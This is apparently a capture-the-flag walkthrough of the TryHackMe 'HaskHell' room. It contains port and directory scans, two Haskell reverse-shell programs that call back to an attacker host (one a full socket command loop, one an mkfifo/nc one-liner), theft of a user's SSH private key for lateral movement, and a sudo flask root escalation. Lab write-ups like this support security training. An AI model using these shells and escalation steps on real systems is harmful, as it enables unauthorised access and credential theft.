> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/haskhell.md).

# HaskHell

**Room Link:** <https://tryhackme.com/room/haskhell>

### Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F1nDI30RX8udY9n6LZLXH%2Fimage.png?alt=media&amp;token=9c04d680-d89b-4e88-9144-6b84f400c129" alt=""><figcaption></figcaption></figure>

### Scan all ports

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FqqIUhkyGZq8WvjV7xd79%2Fimage.png?alt=media&amp;token=c5fe553f-4a37-454e-8acd-4b1c1b624300" alt=""><figcaption></figcaption></figure>

### TCP/5001 - HTTP

Nothing really found, the pages listed are all broken links

**Kali**

```
gobuster dir -u http://$VICTIM:5001 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FQhLiHWpbf2N0uRcp4LCd%2Fimage.png?alt=media&amp;token=45e74b73-077c-477e-b389-70d10e97c10b" alt=""><figcaption></figcaption></figure>

**test.hs**

```
import System.Info

main = do
    print os
    print arch
    print compilerName
    print compilerVersion
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FadfZJiq5IHkxOCCM2yDD%2Fimage.png?alt=media&amp;token=32944755-a919-40d4-8d09-21101e3f1e3e" alt=""><figcaption></figcaption></figure>

**Kali**

```
nc -lvnp 1234
```

**revshell.hs**

```
import Network.Socket hiding (send, sendTo, recv, recvFrom)
import Network.Socket.ByteString (send, recv)
import qualified Data.ByteString.Char8 as B8
import System.Process
import System.IO
import Control.Exception

main = do
        client "$KALI" 1234

client :: String -> Int -> IO ()
client host port = withSocketsDo $ do
                addrInfo <- getAddrInfo Nothing (Just host) (Just $ show port)
                let serverAddr = head addrInfo
                sock <- socket (addrFamily serverAddr) Stream defaultProtocol
                connect sock (addrAddress serverAddr)
                (_, Just hout, _, _) <- createProcess (proc "whoami" []) {std_out = CreatePipe}
                resultOut <- hGetContents hout
                let resultMsg = B8.pack resultOut
                send sock resultMsg
                msgSender sock
                close sock

msgSender :: Socket -> IO ()
msgSender sock = do
  let msg = B8.pack ""
  send sock msg
  rMsg <- recv sock 1024
  let split_cmd = words (filter (/= '\n') (B8.unpack rMsg))
  result <- try' $ createProcess (proc (head split_cmd) (tail split_cmd)) {std_out = CreatePipe, std_err = CreatePipe}
  case result of 
    Left ex                            -> sendError sock ex
    Right (_, Just hout, Just herr, _) -> sendResult sock (Nothing, Just hout, Just herr, Nothing)
  msgSender sock
  
 
try' :: IO a -> IO (Either IOException a)
try' = try

sendError sock err = do
  let errorMsg = B8.pack ("Error:" ++ show err ++ "\n")
  send sock errorMsg
  
sendResult sock (_, Just hout, Just herr, _) = do
    resultOut <- hGetContents hout
    errorOut <- hGetContents herr
    let resultMsg = B8.pack resultOut
    let errorMsg = B8.pack errorOut
    send sock resultMsg
    send sock errorMsg
  
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FxuQs8MQaDgUdJ19dJiLg%2Fimage.png?alt=media&amp;token=4a130447-200d-4082-b7ae-96524d79e719" alt=""><figcaption></figcaption></figure>

**revshell2.hs**

```
module Main where

import System.Process

main = callCommand "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | sh -i 2>&1 | nc $KALI 4242 >/tmp/f"
```

Get autocomplete

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FYnUGooaCHC0Y8YIBGjks%2Fimage.png?alt=media&amp;token=651511e5-5f05-4e29-949c-5d93d43f8b74" alt=""><figcaption></figcaption></figure>

## Lateral movement

I had access to read user prof's id\_rsa key

**Victim**

```
cat /home/prof/.ssh/id_rsa
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FwhZUlJqRIc3zPQicWFFJ%2Fimage.png?alt=media&amp;token=5d9ea8db-0571-4c25-a2c4-c89b83918228" alt=""><figcaption></figcaption></figure>

**Kali**

I copied pasted id\_rsa into a file on Kali

```
chmod 600 id_rsa
ssh prof@$VICTIM -i id_rsa
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FYoUdnfPUAuoCUKBtDJeh%2Fimage.png?alt=media&amp;token=6ec97ba7-ea90-4934-8988-0f6b6fd8f892" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

prof is able to run flask run as root

**Kali**

```
sudo -l
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fcd84zQnr6StjURTaheHH%2Fimage.png?alt=media&amp;token=a3de4e93-c97d-47be-93a2-13d5ea65f300" alt=""><figcaption></figcaption></figure>

**Kali**

```
echo 'import os; os.system("/bin/sh")' > flask.py
export FLASK_APP=flask.py
sudo /usr/bin/flask run
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F5aMuVGphff5KqARd42rU%2Fimage.png?alt=media&amp;token=d1c510fe-87fb-4fe9-a856-64146addfa15" alt=""><figcaption></figcaption></figure>
